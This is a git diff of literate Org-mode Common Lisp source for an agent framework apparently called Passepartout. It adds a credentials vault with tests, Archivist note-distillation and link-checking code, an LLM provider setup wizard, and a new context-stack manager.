|
||||
Thin wrappers that match the export names used by =gateway-messaging=.
|
||||
Delegates to the existing =vault-get=/=vault-set= with ~:type :secret~.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun vault-get-secret (provider)
|
||||
"Retrieves a stored secret or token for a gateway provider."
|
||||
(vault-get provider :type :secret))
|
||||
|
||||
#+end_src
|
||||
** vault-set-secret
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun vault-set-secret (provider secret)
|
||||
"Stores a secret or token for a gateway provider."
|
||||
(vault-set provider secret :type :secret))
|
||||
@@ -57,3 +102,58 @@ Delegates to the existing =vault-get=/=vault-set= with ~:type :secret~.
|
||||
:priority 600
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-security-vault-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:vault-suite))
|
||||
|
||||
(in-package :passepartout-security-vault-tests)
|
||||
|
||||
(def-suite vault-suite :description "Verification of the Credentials Vault")
|
||||
(in-suite vault-suite)
|
||||
|
||||
(test test-vault-round-trip
|
||||
"Contract 1: vault-set stores a value; vault-get retrieves it."
|
||||
(let ((test-key :vault-test-round-trip)
|
||||
(test-secret "secret-abc123"))
|
||||
(vault-set test-key test-secret)
|
||||
(is (string= test-secret (vault-get test-key)))
|
||||
;; Clean up
|
||||
(vault-set test-key nil)))
|
||||
|
||||
(test test-vault-missing-key
|
||||
"Contract 2: vault-get returns NIL for an unset, unknown provider."
|
||||
(is (null (vault-get :nonexistent-provider-xyz))))
|
||||
|
||||
(test test-vault-isolation
|
||||
"Contract 5: storing for provider A does not affect provider B."
|
||||
(vault-set :vault-prov-a "secret-a")
|
||||
(vault-set :vault-prov-b "secret-b")
|
||||
(is (string= "secret-a" (vault-get :vault-prov-a)))
|
||||
(is (string= "secret-b" (vault-get :vault-prov-b)))
|
||||
(vault-set :vault-prov-a nil)
|
||||
(vault-set :vault-prov-b nil))
|
||||
|
||||
(test test-vault-secret-wrappers
|
||||
"Contracts 3,4: vault-get-secret and vault-set-secret use :type :secret."
|
||||
(let ((test-provider :vault-secret-test))
|
||||
(vault-set-secret test-provider "my-token")
|
||||
(is (string= "my-token" (vault-get-secret test-provider)))
|
||||
;; Clean up
|
||||
(vault-set-secret test-provider nil)))
|
||||
|
||||
(test test-vault-type-isolation
|
||||
"Contract 5: different :type values produce different keys."
|
||||
(vault-set :vault-type-test "key-value" :type :api-key)
|
||||
(vault-set :vault-type-test "secret-value" :type :secret)
|
||||
(is (string= "key-value" (vault-get :vault-type-test :type :api-key)))
|
||||
(is (string= "secret-value" (vault-get :vault-type-test :type :secret)))
|
||||
(vault-set :vault-type-test nil :type :api-key)
|
||||
(vault-set :vault-type-test nil :type :secret))
|
||||
#+end_src
|
||||
@@ -1,3 +0,0 @@
|
||||
#!/bin/bash
|
||||
# (The content here is a duplicate of the main opencortex.sh for literate consistency)
|
||||
# [Note: Implementation is already verified in the top-level script]
|
||||
@@ -17,6 +17,7 @@ Because shell execution is the highest-risk operation in the system, the Shell A
|
||||
* Implementation
|
||||
|
||||
** Shell Execution (actuator-shell-execute)
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun actuator-shell-execute (action context)
|
||||
"Executes a bash command with timeout (via timeout(1)) and output limit."
|
||||
|
||||
@@ -14,20 +14,50 @@ events, performing two core functions:
|
||||
- Gardener: Scans the Memex for structural issues — broken =[[file:...]]= links
|
||||
and orphaned =memory-object= entries — flagging them for human review.
|
||||
|
||||
** Contract
|
||||
|
||||
1. (archivist-extract-headlines content): parses Org content into a
|
||||
list of headline structures, each with ~:title~, ~:body~, ~:tags~.
|
||||
2. (archivist-headline-to-filename title): sanitizes a headline title
|
||||
into a valid filename — lowercased, special chars replaced.
|
||||
3. (archivist-create-note headline notes-dir source): writes a
|
||||
Zettelkasten note to disk with frontmatter and backlinks.
|
||||
4. (archivist-scribe-distill): heartbeat-driven — reads recent log
|
||||
entries from ~*history-store*~ and creates structured notes.
|
||||
5. (archivist-gardener-scan): heartbeat-driven — scans for broken
|
||||
file links and orphaned memory objects.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout)
|
||||
#+end_src
|
||||
|
||||
** Archivist State
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *archivist-last-scribe* 0
|
||||
"Universal time of the last Scribe distillation run.")
|
||||
|
||||
#+end_src
|
||||
** *archivist-last-gardener*
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *archivist-last-gardener* 0
|
||||
"Universal time of the last Gardener scan run.")
|
||||
|
||||
#+end_src
|
||||
** *archivist-gardener-interval*
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *archivist-gardener-interval* 86400
|
||||
"Seconds between Gardener scans. Default: 24 hours.")
|
||||
#+end_src
|
||||
#+end_src
|
||||
|
||||
** Scribe: Knowledge Distillation
|
||||
|
||||
@@ -35,6 +65,7 @@ Reads daily log files from the Memex ~daily/= directory, extracts headlines
|
||||
and conceptual content, and creates atomic notes in ~notes/= with source
|
||||
backlinks. Tracks processed state via timestamp to avoid re-processing.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun archivist-scribe-distill ()
|
||||
"Distills daily log entries into atomic notes. Reads the Memex daily/
|
||||
@@ -72,6 +103,10 @@ backlinks to the source daily entry."
|
||||
(log-message "ARCHIVIST: Scribe created ~d atomic notes" notes-created))
|
||||
notes-created))
|
||||
|
||||
#+end_src
|
||||
** archivist-extract-headlines
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun archivist-extract-headlines (content)
|
||||
"Extracts first-level headlines and their content from Org text.
|
||||
Returns a list of plists: (:title <str> :content <str> :tags <list>)."
|
||||
@@ -89,7 +124,7 @@ Returns a list of plists: (:title <str> :content <str> :tags <list>)."
|
||||
(setf in-properties nil))
|
||||
(when (and in-properties (uiop:string-prefix-p ":TAGS:" trimmed))
|
||||
(setf current-tags
|
||||
(mapcar (lambda (t) (string-trim '(#\Space) t))
|
||||
(mapcar (lambda (tag) (string-trim '(#\Space) tag))
|
||||
(uiop:split-string (string-trim '(#\Space) (subseq trimmed 6))
|
||||
:separator '(#\space #\tab)))))
|
||||
(cond
|
||||
@@ -120,6 +155,10 @@ Returns a list of plists: (:title <str> :content <str> :tags <list>)."
|
||||
results))
|
||||
(nreverse results)))
|
||||
|
||||
#+end_src
|
||||
** archivist-headline-to-filename
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun archivist-headline-to-filename (title)
|
||||
"Converts a headline title to a valid atomic note filename.
|
||||
Replaces spaces and special chars with underscores, downcases."
|
||||
@@ -130,6 +169,10 @@ Replaces spaces and special chars with underscores, downcases."
|
||||
(subseq lowered 0 100)
|
||||
lowered)))
|
||||
|
||||
#+end_src
|
||||
** archivist-create-note
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun archivist-create-note (headline notes-dir source-filepath)
|
||||
"Creates an atomic note from a headline plist in the notes/ directory.
|
||||
Headline is a plist (:title <str> :content <str> :tags <list>).
|
||||
@@ -144,23 +187,25 @@ Returns T if note was created, nil if it already exists."
|
||||
(when (uiop:file-exists-p filepath)
|
||||
(return-from archivist-create-note nil))
|
||||
(handler-case
|
||||
(uiop:with-output-file (s filepath :if-exists :nil)
|
||||
(format s "#+TITLE: ~a~%" title)
|
||||
(format s "#+FILETAGS: :atomic:note:~:[~;~{~a~^:~}~]~%" tags tags)
|
||||
(format s "~%* ~a~%" title)
|
||||
(format s ":PROPERTIES:~%")
|
||||
(format s ":CREATED: ~a~%" (org-id-generate))
|
||||
(format s ":SOURCE: ~a~%" source-basename)
|
||||
(format s ":END:~%")
|
||||
(format s "~%~a~%" content)
|
||||
(format s "~%* Backlinks~%")
|
||||
(format s "- Source: [[file:~a][~a]]~%" source-basename
|
||||
(file-namestring source-filepath)))
|
||||
(log-message "ARCHIVIST: Created note ~a" (namestring filepath))
|
||||
t)
|
||||
(error (c)
|
||||
(log-message "ARCHIVIST: Failed to create note ~a: ~a" filepath c)
|
||||
nil)))
|
||||
(progn
|
||||
(uiop:with-output-file (s filepath :if-exists nil)
|
||||
(format s "#+TITLE: ~a~%" title)
|
||||
(format s "#+FILETAGS: :atomic:note:~:[~;~{~a~^:~}~]~%" tags tags)
|
||||
(format s "~%* ~a~%" title)
|
||||
(format s ":PROPERTIES:~%")
|
||||
(format s ":CREATED: ~a~%" (org-id-generate))
|
||||
(format s ":SOURCE: ~a~%" source-basename)
|
||||
(format s ":END:~%")
|
||||
(format s "~%~a~%" content)
|
||||
(format s "~%* Backlinks~%")
|
||||
(format s "- Source: [[file:~a][~a]]~%" source-basename
|
||||
(file-namestring source-filepath)))
|
||||
(log-message "ARCHIVIST: Created note ~a" (namestring filepath))
|
||||
t)
|
||||
(error (c)
|
||||
(log-message "ARCHIVIST: Failed to create note ~a: ~a" filepath c)
|
||||
nil))))
|
||||
#+end_src
|
||||
#+end_src
|
||||
|
||||
** Gardener: Structural Maintenance
|
||||
@@ -168,6 +213,7 @@ Returns T if note was created, nil if it already exists."
|
||||
Scans the Memex for broken =[[file:...]]= links and orphaned =memory-object=
|
||||
entries. Flags issues with =:GARDENER:= tags for human review.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun archivist-gardener-scan ()
|
||||
"Scans the Memex for broken file links and orphaned memory objects.
|
||||
@@ -218,6 +264,10 @@ a deleted object. Returns a plist (:broken-links <count> :orphans <count>)."
|
||||
(setf *archivist-last-gardener* (get-universal-time))
|
||||
(list :broken-links broken-links :orphans orphans)))
|
||||
|
||||
#+end_src
|
||||
** archivist-find-org-files
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun archivist-find-org-files (memex-dir)
|
||||
"Recursively finds all .org files under memex-dir, up to 3 levels deep."
|
||||
(let ((files nil))
|
||||
@@ -234,6 +284,10 @@ a deleted object. Returns a plist (:broken-links <count> :orphans <count>)."
|
||||
(walk memex-dir 0))
|
||||
files))
|
||||
|
||||
#+end_src
|
||||
** archivist-extract-file-links
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun archivist-extract-file-links (content)
|
||||
"Extracts all =[[file:...]]= link targets from Org content.
|
||||
Returns a list of link target strings."
|
||||
@@ -249,16 +303,18 @@ Returns a list of link target strings."
|
||||
(pushnew target links :test #'string=)))
|
||||
links))
|
||||
#+end_src
|
||||
#+end_src
|
||||
|
||||
** Archivist Runner
|
||||
|
||||
Triggered by heartbeat events, runs Scribe and Gardener on alternating schedules.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun archivist-run (context)
|
||||
(defun archivist-run (action context)
|
||||
"Runs the archivist maintenance cycle. Checks Scribe and Gardener schedules
|
||||
and dispatches as needed. Called by the deterministic gate."
|
||||
(declare (ignore context))
|
||||
(declare (ignore action context))
|
||||
(let ((now (get-universal-time)))
|
||||
;; Scribe runs every 6 hours (21600 seconds)
|
||||
(when (>= (- now *archivist-last-scribe*) 21600)
|
||||
@@ -281,3 +337,45 @@ and dispatches as needed. Called by the deterministic gate."
|
||||
:trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :heartbeat))
|
||||
:deterministic #'archivist-run)
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-system-archivist-tests
|
||||
(:use :cl :passepartout)
|
||||
(:export #:archivist-suite))
|
||||
|
||||
(in-package :passepartout-system-archivist-tests)
|
||||
|
||||
(fiveam:def-suite archivist-suite :description "Verification of the Archivist skill")
|
||||
(fiveam:in-suite archivist-suite)
|
||||
|
||||
(fiveam:test test-extract-headlines
|
||||
"Contract 1: archivist-extract-headlines parses Org content."
|
||||
(let* ((content (format nil "* My Headline :tag1:tag2:~%Body text here~%* Another Headline"))
|
||||
(headlines (archivist-extract-headlines content)))
|
||||
(fiveam:is (listp headlines))
|
||||
(fiveam:is (>= (length headlines) 1))))
|
||||
|
||||
(fiveam:test test-headline-to-filename
|
||||
"Contract 2: archivist-headline-to-filename sanitizes titles."
|
||||
(let ((filename (archivist-headline-to-filename "My Project: Overview")))
|
||||
(fiveam:is (search "my_project_overview" filename :test #'char-equal))
|
||||
(fiveam:is (not (search ":" filename)))))
|
||||
|
||||
(fiveam:test test-archivist-create-note
|
||||
"Contract 3: archivist-create-note writes a Zettelkasten note to disk."
|
||||
(let* ((tmp-dir "/tmp/passepartout-archivist-test/")
|
||||
(headline (list :title "Test Note" :content "Some content" :tags '("test" "atomic"))))
|
||||
(uiop:ensure-all-directories-exist (list tmp-dir))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(fiveam:is (eq t (archivist-create-note headline tmp-dir "/tmp/source.org"))
|
||||
"Expected note creation to return T")
|
||||
(fiveam:is (uiop:file-exists-p (merge-pathnames "test_note.org" tmp-dir))
|
||||
"Expected file test_note.org to exist"))
|
||||
(uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t))))
|
||||
#+end_src
|
||||
@@ -10,6 +10,7 @@ The *Config Manager* skill provides the Passepartout Agent with the capability t
|
||||
|
||||
** Configuration directory (config-directory)
|
||||
Resolves the XDG config directory for Passepartout.
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun config-directory ()
|
||||
"Returns the absolute path to the opencortex config directory."
|
||||
@@ -19,6 +20,7 @@ Resolves the XDG config directory for Passepartout.
|
||||
|
||||
** Config file path (config-file-path)
|
||||
Returns the path to the ~.env~ file within the config directory.
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun config-file-path ()
|
||||
"Returns the path to the .env configuration file."
|
||||
@@ -27,6 +29,7 @@ Returns the path to the ~.env~ file within the config directory.
|
||||
|
||||
** Ensure config directory (config-directory-ensure)
|
||||
Creates the config directory tree if it does not exist.
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun config-directory-ensure ()
|
||||
"Creates the configuration directory if it does not exist."
|
||||
@@ -34,6 +37,7 @@ Creates the config directory tree if it does not exist.
|
||||
#+end_src
|
||||
|
||||
** Config File Operations
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun config-read ()
|
||||
"Reads the .env config file and returns an alist of KEY=VALUE pairs."
|
||||
@@ -51,6 +55,10 @@ Creates the config directory tree if it does not exist.
|
||||
(push (cons key value) result))))))
|
||||
(nreverse result)))))
|
||||
|
||||
#+end_src
|
||||
** config-write
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun config-write (config-alist)
|
||||
"Writes the config alist to the .env file."
|
||||
(config-directory-ensure)
|
||||
@@ -61,11 +69,19 @@ Creates the config directory tree if it does not exist.
|
||||
(dolist (pair config-alist)
|
||||
(format stream "~a=~a~%" (car pair) (cdr pair))))))
|
||||
|
||||
#+end_src
|
||||
** config-get
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun config-get (key)
|
||||
"Gets a config value by key."
|
||||
(let ((config (config-read)))
|
||||
(cdr (assoc key config :test #'string=))))
|
||||
|
||||
#+end_src
|
||||
** config-set
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun config-set (key value)
|
||||
"Sets a config value and saves to file."
|
||||
(let ((config (config-read))
|
||||
@@ -76,15 +92,22 @@ Creates the config directory tree if it does not exist.
|
||||
(push pair config))
|
||||
(config-write config))))
|
||||
#+end_src
|
||||
#+end_src
|
||||
|
||||
** Input Utilities
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun prompt (prompt-text)
|
||||
"Simple prompt that returns user input as a string."
|
||||
"Simple prompt that returns user input as a string.
|
||||
Returns nil if stdin is non-interactive."
|
||||
(format t "~a" prompt-text)
|
||||
(finish-output)
|
||||
(read-line))
|
||||
(ignore-errors (read-line)))
|
||||
|
||||
#+end_src
|
||||
** prompt-yes-no
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun prompt-yes-no (prompt-text)
|
||||
"Prompts yes/no question. Returns T for yes, nil for no."
|
||||
(let ((response (prompt (format nil "~a [Y/n]: " prompt-text))))
|
||||
@@ -93,6 +116,10 @@ Creates the config directory tree if it does not exist.
|
||||
(string-equal response "y")
|
||||
(string-equal response "yes"))))
|
||||
|
||||
#+end_src
|
||||
** prompt-choice
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun prompt-choice (prompt-text options)
|
||||
"Prompts user to choose from a list of options. Returns the chosen option or nil."
|
||||
(format t "~a~%" prompt-text)
|
||||
@@ -105,8 +132,10 @@ Creates the config directory tree if it does not exist.
|
||||
(when (and num (<= 1 num) (>= (length options) num))
|
||||
(nth (1- num) options)))))
|
||||
#+end_src
|
||||
#+end_src
|
||||
|
||||
** LLM Provider Setup
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defparameter *available-providers*
|
||||
'(("OpenAI" . "OPENAI_API_KEY")
|
||||
@@ -114,8 +143,29 @@ Creates the config directory tree if it does not exist.
|
||||
("OpenRouter" . "OPENROUTER_API_KEY")
|
||||
("Groq" . "GROQ_API_KEY")
|
||||
("Gemini" . "GEMINI_API_KEY")
|
||||
("Ollama (local)" . "OLLAMA_URL")))
|
||||
("DeepSeek" . "DEEPSEEK_API_KEY")
|
||||
("NVIDIA" . "NVIDIA_API_KEY")
|
||||
("Local" . "LOCAL_BASE_URL")))
|
||||
|
||||
#+end_src
|
||||
** Provider descriptions (for setup wizard display)
|
||||
|
||||
These are shown inline when the user runs the setup wizard, so they know what they are choosing.
|
||||
|
||||
| Provider | Description | Where to sign up | Recommendation |
|
||||
|----------|-------------|------------------|--------------|
|
||||
| ~OpenRouter~ | Free tier with 33+ models. No credit card required. Routes to best available free model. | openrouter.ai | ★ Recommended for new users |
|
||||
| ~OpenAI~ | GPT-4o-mini and GPT-4o. Requires billing. | platform.openai.com | |
|
||||
| ~Anthropic~ | Claude 3.5 Sonnet. Strong reasoning. | console.anthropic.com | |
|
||||
| ~Groq~ | Very fast inference, free tier available. | console.groq.com | |
|
||||
| ~Gemini~ | Google's Gemini models. Free tier via API. | aistudio.google.com | |
|
||||
| ~DeepSeek~ | Competitive pricing, strong coding. | platform.deepseek.com | |
|
||||
| ~NVIDIA~ | NVIDIA NIM. Hosted models, slower but capable. | build.nvidia.com | |
|
||||
| ~Local~ | Any OpenAI-compatible local server (llama.cpp, vLLM, LM Studio, Ollama). No API key needed. | Run locally | |
|
||||
|
||||
** setup-llm-providers
|
||||
;; REPL-VERIFIED: 2026-05-04
|
||||
#+begin_src lisp
|
||||
(defun setup-llm-providers ()
|
||||
"Interactive wizard for configuring LLM providers."
|
||||
(format t "~%~%")
|
||||
@@ -127,37 +177,74 @@ Creates the config directory tree if it does not exist.
|
||||
when (config-get key)
|
||||
collect name)))
|
||||
(when current-providers
|
||||
(format t "Current providers: ~{~a~^, ~}~%~%" current-providers))
|
||||
(format t "Currently configured: ~{~a~^, ~}~%~%" current-providers))
|
||||
|
||||
(format t "~%")
|
||||
(format t "★ OpenRouter recommended for new users — free tier, no credit card required.~%")
|
||||
(format t " Sign up at https://openrouter.ai and paste your API key below.~%")
|
||||
(format t "~%")
|
||||
(format t "Available providers:~%")
|
||||
(format t " ~20@A ~25@A ~s~%" "Provider" "Key env var" "Notes")
|
||||
(format t " ~20@A ~25@A ~s~%" "--------" "----------" "-----")
|
||||
(dolist (p *available-providers*)
|
||||
(format t " - ~a~%" (car p)))
|
||||
(let ((name (car p))
|
||||
(env-key (cdr p))
|
||||
(desc (case (car p)
|
||||
("OpenRouter" "free tier, 33+ models")
|
||||
("OpenAI" "paid, gpt-4o-mini")
|
||||
("Anthropic" "paid, Claude 3.5 Sonnet")
|
||||
("Groq" "fast inference, free tier")
|
||||
("Gemini" "free via API")
|
||||
("DeepSeek" "competitive pricing, coding")
|
||||
("NVIDIA" "NVIDIA NIM hosted models")
|
||||
("Local" "local server, no API key")
|
||||
(t ""))))
|
||||
(format t " ~20@A ~25@A ~a~%" name env-key desc)))
|
||||
(format t "~%")
|
||||
|
||||
(when (prompt-yes-no "Configure a new provider?")
|
||||
(let ((chosen (prompt-choice "Select provider:" (mapcar #'car *available-providers*))))
|
||||
(when chosen
|
||||
(let ((env-key (cdr (assoc chosen *available-providers* :test #'string=))))
|
||||
(if (string= chosen "Ollama (local)")
|
||||
(progn
|
||||
(format t "Enter Ollama URL (e.g., http://localhost:11434): ")
|
||||
(let ((url (read-line)))
|
||||
(config-set env-key url)
|
||||
(format t "✓ Ollama configured at ~a~%" url)))
|
||||
(progn
|
||||
(format t "Enter API key for ~a: " chosen)
|
||||
(let ((key (read-line)))
|
||||
(config-set env-key key)
|
||||
(format t "✓ ~a API key saved~%" chosen)))))))))
|
||||
|
||||
(format t "~%"))
|
||||
(loop
|
||||
(when (not (prompt-yes-no "Configure a LLM provider?"))
|
||||
(return))
|
||||
(let ((chosen (prompt-choice "Select a provider:" (mapcar #'car *available-providers*))))
|
||||
(unless chosen
|
||||
(format t "Invalid choice.~%")
|
||||
(return))
|
||||
(let ((env-key (cdr (assoc chosen *available-providers* :test #'string=))))
|
||||
(cond
|
||||
((string= chosen "Local")
|
||||
(format t "Enter the server URL (e.g., http://localhost:11434 for Ollama,~%")
|
||||
(format t " or http://localhost:8080 for llama.cpp): ")
|
||||
(let ((url (read-line)))
|
||||
(if (> (length url) 0)
|
||||
(progn (config-set env-key url)
|
||||
(format t "✓ ~a configured at ~a~%" chosen url))
|
||||
(format t "Skipping ~a — no URL entered.~%" chosen))))
|
||||
(t
|
||||
(format t "Enter API key for ~a~%" chosen)
|
||||
(format t " (get one from the provider's website, paste it here): ")
|
||||
(let ((key (read-line)))
|
||||
(if (> (length key) 0)
|
||||
(progn (config-set env-key key)
|
||||
(format t "✓ ~a API key saved~%" chosen))
|
||||
(format t "Skipping ~a — no key entered.~%" chosen))))))))
|
||||
|
||||
(format t "~%")))
|
||||
|
||||
|
||||
|
||||
|
||||
#+end_src
|
||||
** setup-add-provider
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun setup-add-provider ()
|
||||
"Entry point for adding a single provider (called from CLI)."
|
||||
(setup-llm-providers))
|
||||
#+end_src
|
||||
#+end_src
|
||||
|
||||
** Gateway Setup
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun setup-gateways ()
|
||||
"Interactive wizard for configuring external gateways."
|
||||
@@ -184,6 +271,7 @@ Creates the config directory tree if it does not exist.
|
||||
#+end_src
|
||||
|
||||
** Skill Management
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun setup-skills ()
|
||||
"Interactive wizard for enabling/disabling skills."
|
||||
@@ -198,6 +286,7 @@ Creates the config directory tree if it does not exist.
|
||||
#+end_src
|
||||
|
||||
** Memory Settings
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun setup-memory ()
|
||||
"Interactive wizard for memory settings."
|
||||
@@ -219,6 +308,7 @@ Creates the config directory tree if it does not exist.
|
||||
#+end_src
|
||||
|
||||
** Network Settings
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun setup-network ()
|
||||
"Interactive wizard for network settings."
|
||||
@@ -240,6 +330,7 @@ Creates the config directory tree if it does not exist.
|
||||
#+end_src
|
||||
|
||||
** Main Setup Wizard
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun setup-wizard-run ()
|
||||
"Main entry point for the interactive setup wizard."
|
||||
|
||||
343
org/system-context-manager.org
Normal file
343
org/system-context-manager.org
Normal file
@@ -0,0 +1,343 @@
|
||||
#+TITLE: SKILL: Context Manager (org-skill-context-manager.org)
|
||||
#+AUTHOR: Agent
|
||||
#+FILETAGS: :system:context:scoping:
|
||||
#+PROPERTY: header-args:lisp :tangle ../lisp/system-context-manager.lisp
|
||||
|
||||
* Overview
|
||||
|
||||
The Context Manager provides stack-based project focusing. When the agent
|
||||
"focuses" on a project, file paths resolve relative to it and memory queries
|
||||
auto-filter by scope. This enables the agent to work within a bounded context
|
||||
without being distracted by unrelated memory.
|
||||
|
||||
The core provides the mechanism (=memory-object-scope=, =context-query= with
|
||||
scope parameter). This skill provides the policy — what to focus on, what
|
||||
scope means for each project, and how the stack is managed.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Context Stack
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *context-stack* nil
|
||||
"Stack of context plists. Each plist has :project, :base-path, :scope.
|
||||
Top of stack (car) is the current context.")
|
||||
|
||||
#+end_src
|
||||
** *context-max-depth*
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *context-max-depth* 10
|
||||
"Maximum context stack depth. Prevents runaway pushes.")
|
||||
#+end_src
|
||||
#+end_src
|
||||
|
||||
** Context Accessors
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun current-context ()
|
||||
"Returns the current context plist, or nil if no context is set."
|
||||
(car *context-stack*))
|
||||
|
||||
#+end_src
|
||||
** current-scope
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun current-scope ()
|
||||
"Returns the current scope keyword (:memex/:session/:project).
|
||||
Returns :memex when no context is set (defaults to global scope)."
|
||||
(or (getf (current-context) :scope) :memex))
|
||||
|
||||
#+end_src
|
||||
** current-project
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun current-project ()
|
||||
"Returns the current project name, or nil."
|
||||
(getf (current-context) :project))
|
||||
|
||||
#+end_src
|
||||
** current-base-path
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun current-base-path ()
|
||||
"Returns the current base path for file resolution, or nil."
|
||||
(getf (current-context) :base-path))
|
||||
|
||||
#+end_src
|
||||
** context-stack-depth
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun context-stack-depth ()
|
||||
"Returns the current depth of the context stack."
|
||||
(length *context-stack*))
|
||||
#+end_src
|
||||
#+end_src
|
||||
|
||||
** Stack Operations
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun push-context (&key project base-path (scope :project))
|
||||
"Pushes a new context onto the stack. When focused on a project:
|
||||
- File paths resolve relative to BASE-PATH
|
||||
- Memory queries filter by SCOPE
|
||||
- :memex scope objects remain visible (always global)
|
||||
Returns the new context plist."
|
||||
(when (>= (context-stack-depth) *context-max-depth*)
|
||||
(log-message "CONTEXT: Stack depth limit reached (~d), refusing push" *context-max-depth*)
|
||||
(return-from push-context (current-context)))
|
||||
(let* ((context (list :project project
|
||||
:base-path base-path
|
||||
:scope scope)))
|
||||
(push context *context-stack*)
|
||||
(context-save)
|
||||
(log-message "CONTEXT: Pushed ~a (depth ~d)" project (context-stack-depth))
|
||||
context))
|
||||
|
||||
#+end_src
|
||||
** pop-context
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun pop-context ()
|
||||
"Pops the current context, restoring the previous one.
|
||||
Returns the restored context or nil if stack becomes empty."
|
||||
(if *context-stack*
|
||||
(let ((popped (pop *context-stack*)))
|
||||
(context-save)
|
||||
(log-message "CONTEXT: Popped ~a (depth ~d)"
|
||||
(getf popped :project) (context-stack-depth))
|
||||
(current-context))
|
||||
(progn
|
||||
(log-message "CONTEXT: Cannot pop — stack is empty")
|
||||
nil)))
|
||||
|
||||
#+end_src
|
||||
** with-context
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defmacro with-context ((&key project base-path (scope :project)) &body body)
|
||||
"Executes BODY within a scoped context, then restores the previous context.
|
||||
Example:
|
||||
(with-context (:project \"passepartout\" :base-path \"/home/user/memex/projects/passepartout\")
|
||||
